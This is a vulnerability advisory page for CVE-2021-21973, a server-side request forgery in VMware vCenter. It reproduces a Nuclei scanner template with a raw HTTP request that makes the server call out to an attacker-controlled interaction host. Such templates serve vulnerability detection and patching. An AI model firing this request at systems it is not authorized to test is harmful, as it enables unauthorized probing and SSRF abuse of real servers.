CVE-2021-21973: VMware vSphere - Server-Side Request Forgery

2025-08-01 VMware vSphere PoC Public

Description

VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).

PoC

id: CVE-2021-21973

info:
  name: VMware vSphere - Server-Side Request Forgery
  author: pdteam
  severity: medium
  description: VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access, data leakage, or further attacks.
  remediation: |
    Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability.
  reference:
    - https://twitter.com/osama_hroot/status/1365586206982082560
    - https://twitter.com/bytehx343/status/1486582542807420928
    - https://www.vmware.com/security/advisories/VMSA-2021-0002.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21973
    - https://github.com/soosmile/POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-21973
    cwe-id: CWE-918
    epss-score: 0.8764
    epss-percentile: 0.9975
    cpe: cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: cloud_foundation
  tags: cve2021,cve,vmware,ssrf,vcenter,oast,kev,vkev,vuln

http:
  - raw:
      - |
        GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1
        Host: {{Hostname}}
        Vcip: {{interactsh-url}}
        Vcpassword: {{rand_base(6)}}
        Vcusername: {{rand_base(6)}}
        Reqresource: {{rand_base(6)}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "The server sent HTTP status code 200"

      - type: status
        status:
          - 500
# digest: 4a0a0047304502204b47a290f0c3939f234968315eff9e269ae531488a8dcc01a8e89cbbdd08db5f022100bfb5a5dc558a049ca639148629f6109603bff6cc9e0dc2d12ada454e37de3682:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21973.yaml

References

Related Vulnerabilities